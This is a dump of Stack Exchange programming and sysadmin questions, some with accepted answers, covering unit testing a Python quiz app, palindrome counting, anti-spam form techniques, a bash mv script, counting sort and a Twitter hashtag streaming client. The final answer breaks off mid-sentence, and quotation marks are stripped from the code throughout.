{  "id": "_codereview.135167"  , "question": "I'm creating a simple android app for pre-highschool students which teaches the very basics of addition or multiplication of integers or decimals. The part of the program in this question is aimed at allowing them to practice without the need of a teacher giving them exercises and checking their results. Note: This is the first time I m using unit tests so I'm not experienced at unit-testing at all.The following are of great interest to me: Unit tests: What should I improve? I don't aim for 100% code coverage since thatfeels more of a fixation on following blindly a rule without theactual need for it (but of course I might be wrong).Since my methods contain random.random() numbers I was thinking of creating tests that test a method millions or billions of times (e.g. assertIsInstance(_int_term(), int) inside a for _ in range(10**8) loop). This would very strongly indicate (but not with absolute certainty) that the methods work correctly. Should I create such tests?Methods with optional parameters, e.g. Terms._int_term(max_val): The parameters are made optional only because I wanted to be able to test the method easily (that is, call it without the need to instantiate Terms() class. If I were not using unit tests, I would simply make it a non static method, and would remove the parameter completely. Is this a bad practice? Docstrings: Are more docstrings needed? Or do good method names suffice? The reason I didn't create dosctings for everything is that they could go stale in case I change code without also updating all the related docstrings.  Of course any other comments unrelated to the above 2 points are also very welcome.Directory treeproject_dirmain.pyteststest_maintest_questionandanswer.pytest_terms.pyCodeMain module: Used for the creation of questions for the user,along with the expected answer (that is, the result of the operation)Some examples of questions and their answers:+2-4 ,        -2(-2)(+7),     -14-1.60-2.04,   -3.64The program should be aimed specifically at teachingthe very basics of addition or multiplication of integers or decimals,in a scaling difficulty.Exercises that deviate from those specific concepts should be avoided.Examples of what should NOT be implemented:2-4,          # Deviates (slightly) since it also teaches that 2 == +2-2(+7),       # Deviates (same as example above)+2-4(-5),     # Deviates since it combines addition and multiplicationimport decimalfrom random import randint, choice, randomclass Terms(object):    MIN_TERMS_COUNT = 2    MAX_TERMS_COUNT = 3    TERMS_TYPES = {'int', 'float'}    MAX_ABS_VALUE = 10    DIFFICULTY_TO_TERMS_COUNT_AND_OP_TYPE_MAP = {        1: dict(            terms_count=2,            terms_type='int'        ),        2: dict(            terms_count=3,            terms_type='int'        ),        3: dict(            terms_count=2,            terms_type='float'        )    }    TOTAL_DIFFICULTY_LVLS = len(DIFFICULTY_TO_TERMS_COUNT_AND_OP_TYPE_MAP)    def __init__(self, difficulty_lvl):        self.difficulty_lvl = difficulty_lvl        self.terms_count = self.DIFFICULTY_TO_TERMS_COUNT_AND_OP_TYPE_MAP[self.difficulty_lvl]['terms_count']        self.terms_type = self.DIFFICULTY_TO_TERMS_COUNT_AND_OP_TYPE_MAP[self.difficulty_lvl]['terms_type']    @staticmethod    def _int_term(max_val=MAX_ABS_VALUE):        return randint(0, max_val)    @staticmethod    def _float_term(max_val=MAX_ABS_VALUE):        return random() * max_val    @staticmethod    def final_term(term_without_sign):                Creates a single term.        :param term_without_sign:        :return: (num)                sign = choice(['-', '+'])        if sign == '-':            final_term = -1 * term_without_sign        else:            final_term = term_without_sign        return final_term    def all_terms(self):        lst = []        if self.terms_type == 'int':            func = self._int_term        elif self.terms_type == 'float':            func = self._float_term        else:            raise NotImplemented('{}'.format(self.terms_type))        for _ in range(self.terms_count):            term_without_sign = func()            final_term = self.final_term(term_without_sign=term_without_sign)            lst.append(final_term)        return lstclass QuestionAndAnswer(object):        Based on difficulty and operation type,    creates terms (either float or ints) which are then rounded to allow    specific number of decimals.        OPERATIONS_TYPES = {'addition', 'multiplication'}    def __init__(self, difficulty_lvl, op_type):        self.terms_as_numbers = Terms(difficulty_lvl=difficulty_lvl).all_terms()        self.op_type = op_type    @staticmethod    def round_single_term_2_decimals(given_float):        num = decimal.Decimal(str(given_float))        return num.quantize(decimal.Decimal('.01'), decimal.ROUND_HALF_UP)    def terms_to_rounded_numbers(self):                Ensures all terms have an appropriate number of decimals.        :return: (list)                lst = []        for t in self.terms_as_numbers:            if isinstance(t, int):                lst.append(t)            else:                t = self.round_single_term_2_decimals(given_float=t)                lst.append(t)        return lst    def terms_as_strings(self):        lst = []        for t in self.terms_to_rounded_numbers():            if t > 0:                lst.append('+{}'.format(t))            elif t == 0:                random_sign = choice(['+', '-'])                lst.append('{sign}{term}'.format(sign=random_sign, term=t))            else:                lst.append(str(t))        return lst    def operation_str(self):                Creates the operation string presented to the user.        :return: (str)                terms_as_strings = self.terms_as_strings()        if self.op_type == 'addition':            op_str = ''.join(terms_as_strings)        elif self.op_type == 'multiplication':            op_str = ''            for t in terms_as_strings:                op_str += '({})'.format(t)        else:            raise NotImplemented('{}'.format(self.op_type))        return op_str    def expected_answer(self):        if self.op_type == 'addition':            result = 0            for t in self.terms_to_rounded_numbers():                result += t        elif self.op_type == 'multiplication':            result = 1            for t in self.terms_to_rounded_numbers():                result *= t        else:            raise NotImplemented('{}'.format(self.op_type))        return resultif __name__ == '__main__':    # VISUAL TESTS    if 1:        TOTAL_DIFFICULTY_LVLS = Terms.TOTAL_DIFFICULTY_LVLS        # --------------------------------------------------        # all_terms()        print('\\n'+'-'*80)        print('TERMS')        def print_all_terms(difficulty_lvl):            print('\\nDifficulty {}'.format(difficulty_lvl))            # (terms' lists printed for each difficulty lvl)            terms_lsts_count = 3            for _ in range(terms_lsts_count):                print(Terms(difficulty_lvl=difficulty_lvl).all_terms())        # (tests all difficulties)        for d in range(1, TOTAL_DIFFICULTY_LVLS + 1):            print_all_terms(difficulty_lvl=d)        # --------------------------------------------------        # operation_str() and answer        print('\\n'+'-'*80)        print('OPERATION STRING')        for d in range(1, TOTAL_DIFFICULTY_LVLS + 1):            print('\\nDifficulty: {}'.format(d))            for operation in QuestionAndAnswer.OPERATIONS_TYPES:                for _ in range(3):                    inst = QuestionAndAnswer(difficulty_lvl=d, op_type=operation)                    question = inst.operation_str()                    answer = inst.expected_answer()                    msg = '{q} = {a}'.format(q=question, a=answer)                    print(msg)Test module test_terms.py: from unittest import TestCaseclass TestDifficultyMap(TestCase):    def setUp(self):        import main        self.Term = main.Terms        self.difficulty_dct = self.Term.DIFFICULTY_TO_TERMS_COUNT_AND_OP_TYPE_MAP        self.terms_counts_found = {v['terms_count'] for v in self.difficulty_dct.values()}        self.terms_types_found = {v['terms_type'] for v in self.difficulty_dct.values()}    def test_min_terms_count_DIFFICULTY_TO_TERMS_COUNT_AND_OP_TYPE_MAP(self):        min_terms_count_allowed = self.Term.MIN_TERMS_COUNT        min_terms_count_found = min(self.terms_counts_found)        self.assertGreaterEqual(            min_terms_count_found, min_terms_count_allowed        )    def test_max_terms_count_DIFFICULTY_TO_TERMS_COUNT_AND_OP_TYPE_MAP(self):        max_terms_count_allowed = self.Term.MAX_TERMS_COUNT        max_terms_count_found = max(self.terms_counts_found)        self.assertGreaterEqual(            max_terms_count_found, max_terms_count_allowed        )    def test_terms_types_DIFFICULTY_TO_TERMS_COUNT_AND_OP_TYPE_MAP(self):        self.assertEquals(            self.terms_types_found, self.Term.TERMS_TYPES        )class TestIntAndFloatTerm(TestCase):    def setUp(self):        import main        self.Term = main.Terms    # _int_term    def test__int_term(self):        self.assertEqual(            self.Term._int_term(max_val=0), 0        )    def test_is_int__int_term(self):        self.assertIsInstance(            self.Term._int_term(max_val=1), int        )    # _float_term    def test__float_term(self):        max_val = 15        term_val = self.Term._float_term(max_val=max_val)        self.assertTrue(0 <= term_val <= max_val)    def test_is_float__float_term(self):        self.assertIsInstance(            self.Term._float_term(max_val=1), float        )class TestAllTermsMethod(TestCase):    def setUp(self):        import main        self.Term = main.Terms        self.difficulties_available = self.Term.DIFFICULTY_TO_TERMS_COUNT_AND_OP_TYPE_MAP.keys()    def test_len_above_min_all_terms(self):        inst = self.Term(difficulty_lvl=1)        min_terms_count_allowed = self.Term.MIN_TERMS_COUNT        terms_lst = inst.all_terms()        self.assertGreaterEqual(len(terms_lst), min_terms_count_allowed)    def _contains_x_type_all_terms(self, x_type):        found_type = False        for lvl in self.difficulties_available:            inst = self.Term(difficulty_lvl=lvl)            terms = inst.all_terms()            for t in terms:                if type(t) is x_type:                    found_type = True        self.assertTrue(found_type, msg='Did not find {}.'.format(x_type))    def test_contains_float_all_terms(self):        self._contains_x_type_all_terms(x_type=float)    def test_contains_int_all_terms(self):        self._contains_x_type_all_terms(x_type=int)Test module test_questionandanswer.py: from unittest import TestCaseclass TestQuestion(TestCase):    def setUp(self):        from decimal import Decimal        from main import QuestionAndAnswer        self.positive_float_to_expected_2nd_decimal_rounded = {            0.0049: Decimal('0.00'),            0: Decimal('0'),            0.005: Decimal('0.01'),            2.255: Decimal('2.26'),            9.999: Decimal('10'),            0.004: Decimal('0'),        }        self.negative_float_to_expected_2nd_decimal_rounded = {            -k: -v for k, v in self.positive_float_to_expected_2nd_decimal_rounded.items()}        self.QuestionAndAnswer = QuestionAndAnswer    def test_positive_round_single_term_2_decimals(self):        for given_float, expected in self.positive_float_to_expected_2nd_decimal_rounded.items():            self.assertEqual(self.QuestionAndAnswer.round_single_term_2_decimals(given_float=given_float), expected)    def test_negative_round_single_term_2_decimals(self):        for given_float, expected in self.negative_float_to_expected_2nd_decimal_rounded.items():            self.assertEqual(self.QuestionAndAnswer.round_single_term_2_decimals(given_float=given_float), expected)"  , "title": "Multiplication or addition of decimals or integers for prehighschool; non deterministic testing"  , "tags": "python;python 3.x;unit testing;quiz"  } 
{  "id": "_unix.341876"  , "question": "I'm thinking a way of storing large files on vfat file system. Obviously, the only way to store files larger than 4GiB is to split them. I'm aware that we can use split and cat commands for splitting and merging files. However, to use those commands, more space is needed for resulting file(s). If I'm understanding how file systems work correctly, no file is actually deleted and deallocated until they're closed. To use as little space as possible, it would take funky technique that involves truncate() and reversing the file content(reading and shrinking the original file as it goes).Is there any kernel module that creates a loop device out of multiple split files? Or a util command that does the exact same idea as mine?Or I'll start making one of them. Oh! Can I do that with mdadm? The linear level?"  , "title": "Using split files without merging them"  , "tags": "linux;filesystems;large files"  } 
{  "id": "_codereview.94011"  , "question": "There was some online test where I was asked about finding all possible distinct palindromes of a string.Here I had to give the count of all possible distinct palindromes of a given string (continuous substring). Here, a single character word is considered a palindrome.Below is what I did. Can you please tell me if it is good OR there is a scope of improvement?public class Solution {/** Complete the function below.*/static int palindrome(String str) {    String[] strArray = str.split();    List<String> list = Arrays.asList(strArray);    list = list.subList(1, list.size());    //Set does'nt allow duplicates.    //Sublist is required because split method gives an extra space.    Set<String> palindromeSet = new HashSet<>(list);    String palindromeStr = null;    for(int i = 0;i<list.size();i++){        palindromeStr = list.get(i);        for(int j = i+1;j<list.size();j++){            palindromeStr = palindromeStr+list.get(j);            if(isPalindrome(palindromeStr)){                palindromeSet.add(palindromeStr);            }        }    }    return palindromeSet.size();}static boolean isPalindrome(String str){    char[] chars = str.toCharArray();    for(int i =0;i<(chars.length/2);i++){        if(chars[i] != chars[chars.length-1-i]){            return false;        }    }    return true;}public static void main(String[] args) throws IOException{    System.out.println(palindrome(arewenotdrawnonwardtonewera));}}"  , "title": "Finding all possible distinct palindromes of a string"  , "tags": "java;strings;palindrome"  , "accepted_answer": "/** Complete the function below.*/Do you still need it?String[] strArray = str.split();List<String> list = Arrays.asList(strArray);list = list.subList(1, list.size());That's ugly. You could work with the original String or use str.toCharArray() if you really needed an array. But you don't.//Set does'nt allow duplicates.True, but rather well-known. And a typo.//Sublist is required because split method gives an extra space.True, but misplaced by a few lines. Full line comments belong before the block they describe.String palindromeStr = null;for(int i = 0;i<list.size();i++){    palindromeStr = list.get(i);This should befor(int i = 0; i < list.size(); i++){    String palindromeStr = list.get(i);Note the spacing.    for(int j = i+1;j<list.size();j++){        palindromeStr = palindromeStr+list.get(j);This is a pretty slow way of creating what   String palindromeStr = str.substring(i, j);could give you. By creating your string incrementally you gain nothing: Because of strings being immutable, their whole content gets copied on every step.This way the complexity is O(n**3) and could be reduced(*) to O(n**2) by simply defining a method working on a substring like static boolean isPalindrome(String str, int start, int end) ...You should improve both spacing (just press Ctrl-Shift-F in Eclipse) and naming, maybe as follows:str -> inputstrArray -> nothing, just inline itpalindromeSet -> palindromes as it's clearly a setpalindromeStr -> substring or candidate as it's not always a palindromeYour naming is not really bad, but you concentrate on the type too much and I can imagine to get lost in a bunch of names like intListSetArray  and strDoubleMap without any clue what's the variable good for.I'd bet there's a faster algorithm, but I haven't figured it out yet.(*) I'm assuming that isPalindrome is O(1) on the average, which is true for normal strings, but not for e.g. aaaa....a."  } 
{  "id": "_webmaster.1271"  , "question": "I know about captcha. However, often it is stated that captcha stops legitimate users due to the inconvenience. Are there other solution, that in particular look for pattern in the input similar to e-mail spamfilters, or for random sequences of letters? (In particular, a solution that works with drupal would be good)."  , "title": "What solutions to prevent spam of web forms are less intrusive for users?"  , "tags": "spam blocker;drupal"  , "accepted_answer": "Here are 3 ways I have seen to do this: One way - https://stackoverflow.com/questions/8472/practical-non-image-based-captcha-approaches.Another way - https://stackoverflow.com/questions/2475806/captcha-replacementMsft has even made a one with Ajax! http://www.asp.net/AJAX/AjaxControlToolkit/Samples/NoBot/NoBot.aspxIn general there are 3 ways to solve this:Make the user do something to prove they are human.  CAPTCHA or anything like it where the user must do extra work.See how long it take the user to enter data.  Computers are much faster at filling forms out.Obfuscate what inputs are being used for what in the HTML itself.  All of these methods have shortcomings.  CAPTCHA requires more work and eventually developers can find ways to solve the CAPTCHA programatically.  Some have even resourted to paying cheap labor to manually overcome them.  Waiting will work well until it becomes prevalent and then hackers will just make their programs wait until they submit.  Finally, obfuscation except you have to tell the user what to enter so that will give some of it away.  You can further obfuscate those fields by using Javascript to populate names later.  It is all basically a cat and mouse game.  I think CAPTCHA ends up being the most effective and the most annoying for the user though."  } 
{  "id": "_unix.347174"  , "question": "I have the following script setup at the moment:#!/bin/bashwhile true; do  echo Type in keyword & press enter...  read KEYWORD  HERE=$(grep -i $KEYWORD */*/webvirtualmx)  echo $HERE  ANSWER2=y;read -p Do you want to move to old? y or n? ANSWER2;  if [ $ANSWER2 = y ]  then mv -i -v $HERE /u1/OLD  fi  ANSWER=n;read -p Do you have more keywords? y or n? ANSWER;    if [ $ANSWER = n ]    then break    fi doneNow the output of the echo part of the script looks like this:> u/umind/webvirtualmx:servingtruth.orgI basically need to cut the webvirtualmx:servingtruth.org portion off from the path, so that the part of the code that runs the mv command, moves the entire directory, not just the file.How would I go about telling to ignore the entire path, and only grab the directories path and apply it to the variable $HERE?I.Emv -i -v u/umind/ /u1/OLD/I have about a hundred directories like this, obviously all named differently but they all follow this pattern:letter/name/webvirtualmx:filenameanother example:l/laicc/webvirtualmx:si2tech.comso on and so forth."  , "title": "Cut file name and grep search result from path"  , "tags": "grep;variable;mv;cut"  , "accepted_answer": "If $HERE holds a filename, then I think the simplest would be to do the following:mv -i -v `dirname $HERE` /u1/OLDIf you want some safety, then you could do:DIR=`dirname $HERE`if test -d $DIR; then  mv -i -v $DIR /u1/OLDfi"  } 
{  "id": "_softwareengineering.200110"  , "question": "Say you have a list of vehicles - you have an observableArray of these ko.observable()s.  You let your user add a new vehicle with the following: var emptyVehicle = {    make: chevrolet,    model: corvette};app.on('CLICKED_ADD_VEHICLE', function () {            var vehicle = new vehicleViewModel(emptyVehicle);            vehicle.hasWheels(true);            innerModel.sets.push(set);        });If they save the vehicle, you get a real vehicle from your dataservice, and then replace the blank one with this: app.on('CLICKED_SAVE', function (oldVehicle) {            var newVehicle = new vehicleViewModel(dataservice.createVehicle(oldVehicle));                    innerModel.vehicles.remove(oldVehicle);                    innerModel.vehicles.push(newVehicle);        });I know I'm leaving some code out here, but this is more of a practices/approach question than a code question.  Is this an acceptable approach to adding new items to a list?  New up a temporary template, and throw it away in place of an actual item if the user saves?  "  , "title": "Adding new objects to a clientside array - best practices?"  , "tags": "javascript"  , "accepted_answer": "It's acceptable, but it's not really preferred.  What happens if someone changes the code latter on, and it fails to send oldVehicle?  What happens if the CLICKED_SAVE event is triggered again?  What happens if the AJAZ call itself just fails?Better practice is to design your app to begin with an empty innerModel.vehicles array, and then have addVehicle be a method of app that spools up a new vechicleViewModel and pushes it to the array.  Generally, events should call methods, even if they aren't UI events, unless you have a good reason not to."  } 
{  "id": "_softwareengineering.333336"  , "question": "I have seen many questions on whether to design data first or code first when designing a new application. I wonder if some have the same conclusions/ideas as me. I come from painting/digital design/UI background and naturally I went into Front-End. Currently I can code and build UI's quickly in HTML5,JS,jQuery and AngularJS. I have also touched on PHP and the popular stacks for it (LAMP, WAMP,XAMP etc.) and WordPress. I have also worked with Oracle SQL and TSQL on MS Server on a few different jobs.For the last year I have been working with C# and ASPX and then for the last 6 months MVC5,JSON APIs with SOAP.Recently I have also picked up AngularFire for Firebase. 9-5 I work for big corporations so the stack is usually .NET however outside of this I build sites for clients in open source usually and Front-end languages.From this we can see I have touched on many different languages (some not named) and web application/software design and building but I still struggle at times to know whether to design my data first or code first? In the MVC applications (2-5 applications) I have built and worked on, the database was already created so I am starting to get a little used to (and enjoy) following the  data first approach and in VS generating my model automatically (+ the T4's) then designing the Controllers and finally either Views or back to Controllers or some API.With AngularFire showing us you CAN only code first and the database can be 100% automatically built for you (creation of the DB object and columns).From this I wonder if many more are in this almost 'limbo' mode because of many different design practices and if any can offer tips of how to not get too confused and possibly offer one way to follow for solid practices of software/application engineering/coding/design.Pros and cons:I do note though what I have seen so far is that AngularJS and Firebase offer application building at rapid pace as it's quick to define Controllers in JS and check data changes at real-Time in Firebase, this also allowed me to focus more on the features I want rather than looking constantly looking for library's, add JSON and the application starts to become powerful and still executes fast.With .NET (MVC5, C#,EF5, JSON) it's quicker than a LAMP stack for CRUD operations as there is lot's available right out of the box as well as complex data pull and pushes with JSON, so still favour this over ASPX thus producing powerful web apps quite quickly too, although when the project grows execution can be slow locally and once deployed."  , "title": "Data first or code first?"  , "tags": "design;programming practices;web applications;database design"  } 
{  "id": "_unix.184562"  , "question": "I would like to know how I can use start up scripts in .xsession in order to change the look of my Desktop, I assumed .xsession was in my home directory so I performed at my home directory: ls -a to list all the hidden files, that start with a dot, but there was no .xsession file. So, I searched the whole file system beginning from the root with: ls -Ra / | grep .xsessionbut unfortunately it did not find this .xsession file either. "  , "title": "Where is the .xsession file in linux mint?"  , "tags": "linux mint;xfce;desktop;desktop environment"  } 
{  "id": "_codereview.171881"  , "question": "Is this a proper Count sort implementation?Code and style improvements?  Followup to this.Some of the array index is different as the WIKI is 1 based and these arrays are zero based.public static void CountSort(int[] arr){    int maxRange = 100000;    int max = int.MinValue;    int min = int.MaxValue;    foreach (int i in arr)    {        max = Math.Max(max, i);        min = Math.Min(min, i);    }    if(max - min > maxRange)    {        throw new ArgumentOutOfRangeException($Maximum range is {maxRange.ToString(N0)});    }    for (int i = 0; i < arr.Length; i++)    {        arr[i] -= min;    }    int n = arr.Length;    // The output character array that will have sorted arr    int[] output = new int[n];    // Create a count array to store count of inidividul    // characters and initialize count array as 0    int[] count = new int[max - min + 1];    // store count of each character    foreach (int i in arr)        count[i]++;    // Change count[i] so that count[i] now contains actual    // position of this character in output array    for (int i = 1; i < count.Length; ++i)        count[i] += count[i - 1];    // Build the output character array    for (int i = 0; i < n; ++i)    {        output[count[arr[i]] - 1] = arr[i];        count[arr[i]]--;    }    // Copy the output array to arr, so that arr now    // contains sorted characters    for (int i = 0; i < n; ++i)    {        arr[i] = output[i] + min;    }}public static void CountSortTest(){    List<int[]> la = new List<int[]>()                        {  new int[] { }                         , new int[] {0, 0, 0 ,0 }                         , new int[] {5, 5, 5 ,5 }                         , new int[] { -20, -29, 90, 90, 71, 82, 93, 75, 81, 0, 12, 54, 36, 13, 102, 99, 34, 103, 78, 196, 52, 5, 215 }                         , new int[] { 100000, -10000, 0 }                        };    rand = new Random();    int[] at = new int[100000];    for(int i = 0; i < 100000; i++)    {        at[i] = rand.Next(201) - 200;    }    la.Add(at);    foreach(int[] ar in la)    {        int[] aNet = new int[ar.Length];        Array.Copy(ar, aNet, ar.Length);        Array.Sort(aNet);        try        {            CountSort(ar);        }        catch (Exception ex)        {            Debug.WriteLine(ex.Message);        }        if (!ar.SequenceEqual(aNet))        {            Debug.WriteLine(fail);        }    } }"  , "title": "Count sort implementation again"  , "tags": "c#;.net;sorting"  } 
{  "id": "_codereview.52560"  , "question": "I've been experimenting with the Twitter Streaming API and would like some critical feedback. Specifically code correctness, code smells, overall structure, and my usage of collections and queues.The application leverages the Twitter Streaming API to identify the top trending hashtags for the supplied hashtag, or string.Sample invocation:java -jar ./target/lotus-1.0-SNAPSHOT-jar-with-dependencies.jar appleTop 10 Hashtags{#Apple=223, #iTunes=182, #iPhone=160, #Music=62, #Mac=59, #apple=43, #Apps=38, #Movies=25, #iTunesU=21, #Video=19}.Total Tweets Processed: 1935AbstractClient.javapackage com.gmail.lifeofreilly.lotus;/** * An Abstract client for retrieving messages that contain hashtags. Can be extended for target social network. */public abstract class AbstractClient implements Runnable {    private final String trackedTerm;    private final MessageData messageData;    public AbstractClient(final String trackedTerm, final MessageData messageData) {        this.trackedTerm = trackedTerm;        this.messageData = messageData;    }    public MessageData getMessageData() {        return messageData;    }    public String getTrackedTerm() {        return trackedTerm;    }    @Override    public String toString() {        return AbstractClient{ +                trackedTerm=' + trackedTerm + '\\'' +                , class= + this.getClass() +                '}';    }}MessageData.javapackage com.gmail.lifeofreilly.lotus;import org.apache.log4j.Logger;import com.google.common.collect.Multiset;import com.google.common.collect.Multisets;import com.google.common.collect.TreeMultiset;import java.util.concurrent.BlockingQueue;import java.util.concurrent.LinkedBlockingQueue;import java.util.Iterator;import java.util.LinkedHashMap;import java.util.Map;import java.util.Set;/** * A blocking message queue and the hashtags extracted. */public class MessageData {    private final static Logger log = Logger.getLogger(MessageData.class);    private final Multiset<String> hashTags = TreeMultiset.create();    private final BlockingQueue<String> messageQueue = new LinkedBlockingQueue<String>();    private volatile long messageCount;    /**     * Add a message to the queue to be processed.     *     * @param message the message.     */    public void addMessage(final String message) {        messageQueue.add(message);        messageCount++;        log.debug(Current Queue size:  + messageQueue.size());    }    /**     * Get the total number of messages submitted for processing.     *     * @return the number of messages.     */    public long getMessageCount() {        return messageCount;    }    /**     * Removes and returns the head message in the queue, waiting if necessary until an element becomes available.     *     * @return the message.     */    public String takeMessageFromQueue() {        String message = ;        try {            message = messageQueue.take();        } catch (InterruptedException ex) {            log.error(InterruptedException thrown:  + ex);            Thread.currentThread().interrupt();        }        return message;    }    /**     * Adds a hashtag to the collection.     *     * @param hashtag the hashtag.     */    public void addHashTag(final String hashtag) {        hashTags.add(hashtag);    }    /**    * Prints the top ten hashtags to standard out    */    public void printTopTenHashTags() {        System.out.println(Top 10 Hashtags + getTopHashtags(10) +            . Total Tweets Processed:  + getMessageCount());    }    /**     * Get the top hashtags.     *     * @return the top hashtags and occurrence of each.     */    public Map<String, Integer> getTopHashtags(int maxNumberOfHashTags) {        Set<String> sortedSet = Multisets.copyHighestCountFirst(hashTags).elementSet();        Iterator<String> iterator = sortedSet.iterator();        Map<String, Integer> topTerms = new LinkedHashMap<String, Integer>();        for (int i = 0; i < maxNumberOfHashTags; i++) {            if (iterator.hasNext()) {                String term = iterator.next();                topTerms.put(term, hashTags.count(term));            } else {                break;            }        }        return topTerms;    }}MessageProcessor.javapackage com.gmail.lifeofreilly.lotus;import java.util.StringTokenizer;/** * Extracts hashtags from messages. */public class MessageProcessor implements Runnable {    private final MessageData messageData;    /**     * Constructs a MessageProcessor.     *     * @param messageData the MessageData.     */    public MessageProcessor(final MessageData messageData) {        this.messageData = messageData;    }    @Override    public void run() {        while (true) {            extractHashtagsFromMessage(messageData.takeMessageFromQueue());        }    }    private void extractHashtagsFromMessage(final String message) {        String deliminator =  \\t\\n\\r\\f,.:;?![]';        StringTokenizer tokenizer = new StringTokenizer(message, deliminator);        while (tokenizer.hasMoreTokens()) {            String token = tokenizer.nextToken();            if (token.startsWith(#)) {                messageData.addHashTag(token);            }        }    }}TwitterClient.javapackage com.gmail.lifeofreilly.lotus;import org.apache.log4j.Logger;import twitter4j.FilterQuery;import twitter4j.StallWarning;import twitter4j.Status;import twitter4j.StatusDeletionNotice;import twitter4j.StatusListener;import twitter4j.TwitterStream;import twitter4j.TwitterStreamFactory;/** * Utilizes the Twitter Streaming API to collect messages. */public class TwitterClient extends AbstractClient {    private final static Logger log = Logger.getLogger(TwitterClient.class);    /**     * Constructs a Twitter Client using the supplied MessageData object and tracked term.     *     * @param trackedTerm the term to track on Twitter.     * @param messageData the data structure for the Twitter data.     */    public TwitterClient(final String trackedTerm, final MessageData messageData) {        super(trackedTerm, messageData);    }    @Override    public void run() {        TwitterStream twitterStream = new TwitterStreamFactory().getInstance();        twitterStream.addListener(new TwitterListener(this.getMessageData()));        twitterStream.filter(getFilterQuery());        log.info(Start listening to the Twitter stream.);    }    private FilterQuery getFilterQuery() {        FilterQuery filterQuery = new FilterQuery();        String keywords[] = {this.getTrackedTerm()};        filterQuery.track(keywords);        return filterQuery;    }    private class TwitterListener implements StatusListener {        private final MessageData messageData;        public TwitterListener(MessageData messageData) {            this.messageData = messageData;        }        @Override        public void onStatus(final Status status) {            log.debug(Received onStatus:  + status.getText());            messageData.addMessage(status.getText());        }        @Override        public void onDeletionNotice(StatusDeletionNotice statusDeletionNotice) {            log.info(Received a status deletion notice id: + statusDeletionNotice.getStatusId());        }        @Override        public void onTrackLimitationNotice(int numberOfLimitedStatuses) {            log.info(Received track limitation notice: + numberOfLimitedStatuses);        }        @Override        public void onScrubGeo(long userId, long upToStatusId) {            log.info(Received scrub_geo event userId: + userId +  upToStatusId: + upToStatusId);        }        @Override        public void onStallWarning(StallWarning warning) {            log.info(Received stall warning: + warning);        }        @Override        public void onException(Exception ex) {            log.error(Received Exception: , ex);        }    }}Lotus.javapackage com.gmail.lifeofreilly.lotus;import org.apache.log4j.Logger;import twitter4j.Twitter;import twitter4j.TwitterException;import twitter4j.TwitterFactory;import java.util.Timer;import java.util.TimerTask;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;/** * Identifies the top trending hashtags on Twitter for the supplied hashtag, term, or string. */public class Lotus {    private final static Logger log = Logger.getLogger(Lotus.class);    private final MessageData messageData;    private final TwitterClient twitterClient;    private final ExecutorService pool = Executors.newFixedThreadPool(2);    /**     * Constructs a client using the supplied keyword.     *     * @param trackedTerm the term to track on Twitter.     */    public Lotus(final String trackedTerm) {        messageData = new MessageData();        twitterClient = new TwitterClient(trackedTerm, messageData);    }    /**     * Identifies the top trending hashtags on Twitter for the supplied hashtag, term, or string.     * Usage: Lotus [keyword]     *     * @param args required argument. Specifies the keyword or hashtag to track on Twitter.     */    public static void main(String[] args) {        if (args.length == 1 & validCredentialsSupplied()) {            Lotus lotus = new Lotus(args[0]);            lotus.startTrackingTerm();            lotus.startProcessingMessages();            lotus.outputTopTenEveryThirtySeconds();        } else {            if (args.length != 1) {                System.out.println(Invalid number of arguments. Usage: Lotus [keyword]);            }            System.exit(-1);        }    }    private static boolean validCredentialsSupplied() {        try {            Twitter twitter = TwitterFactory.getSingleton();            twitter.verifyCredentials();            return true;        } catch (TwitterException ex) {            System.out.println(Please supply a valid twitter4j.properties file in your working directory.  + ex.getMessage());            return false;        }    }    private void startTrackingTerm() {        log.info(Starting Twitter client:  + twitterClient.toString() + .);        pool.execute(twitterClient);    }    private void startProcessingMessages() {        log.info(Starting message processor.);        pool.execute(new MessageProcessor(messageData));    }    private void outputTopTenEveryThirtySeconds() {        Timer timer = new Timer();        timer.schedule(new TimerTask() {            public void run() {                messageData.printTopTenHashTags();            }        }, 0, 30000);    }}"  , "title": "Twitter Streaming Client - Round#2"  , "tags": "java;queue;collections;twitter;guava"  , "accepted_answer": "The following comment is a very bad sign:/** * A blocking message queue and the hashtags extracted. */public class MessageData {Right there in the JavaDoc you are telling the world that MessageData is filling two completely different roles.  You should separate the two roles out - make it explicitly clear that the queue of work to be done, and the report of the work done thus far, are two different things.Another way of saying the same thing: your pipeline has two different stages in it.  Stage one reads messages and writes hashtags.  Stage two reads hashtags and writes updates to an in memory database.  Create classes to manage each of those responsibilities.Currently the hashtags are stored in memory, but in a subsequent version I plan to move to mongoYeah - that right there is a big hint that you are going to want to be able to swap out different implementations of your hash tag store.You'll know that you have the right design when you can create a single-threaded unit test that is able to verify the flow of a message all the way through the processing.@Overridepublic void run() {    while (true) {        extractHashtagsFromMessage(messageData.takeMessageFromQueue());    }}public String takeMessageFromQueue() {    String message = ;    try {        message = messageQueue.take();    } catch (InterruptedException ex) {        log.error(InterruptedException thrown:  + ex);        Thread.currentThread().interrupt();    }    return message;}These two functions show that you don't understand what the InterruptedException is for.The InterruptedException wasn't left in the method signature by mistake; it signals a condition that correctly written programs should be prepared to handle -- namely, that some other thread has discovered that the blocking process should be cancelled.The quick fix would be to simply handle the interrupted condition in the Runnable.public void run() {    while (! Thread.interrupted()) {        extractHashtagsFromMessage(messageData.takeMessageFromQueue());    }} But it's still a little bit weird that MessageData returns a fake message during cancellation.  That would mean that MessageProcessor is consuming more messages than MessageData.getMessageCount() claims were put in the queue.There are two ways you might fix that.  One would be to move the InterruptedException to the throws clause, and let the Runnable handle it.  Another option would be to modify the signature of takeMessageFromQueue so that it accepts a Listener.public void takeMessageFromQueue(Listener listener) {    try {        String message = messageQueue.take();        listener.onMessage(message);    } catch (InterruptedException ex) {        log.error(InterruptedException thrown:  + ex);        Thread.currentThread().interrupt();    }}This approach has the additional advantage that it allows you to experiment with other strategies for handling a backlog of messages; you could drain the entire queue in one go, or process a batch of messages (which allows you to take advantage of other data structures that are optimized for that use case).public void run() {    TwitterStream twitterStream = new TwitterStreamFactory().getInstance();    twitterStream.addListener(new TwitterListener(this.getMessageData()));    twitterStream.filter(getFilterQuery());    log.info(Start listening to the Twitter stream.);}Ick - use Dependency Injection.  It's ever so much friendlier to build the object graph explicitly, right where everyone is looking for it.  If you must create a new graph each time run() is called, well that's what Factories are for....I'm alarmed that you seem to be dismissing the big chicken in the yard.  Your message source is Twitter; you're drinking from the fire hose, but you don't seem to have given yourself a way to purge the data being shoved down your throat.private final Multiset<String> hashTags = TreeMultiset.create();How many different tags do 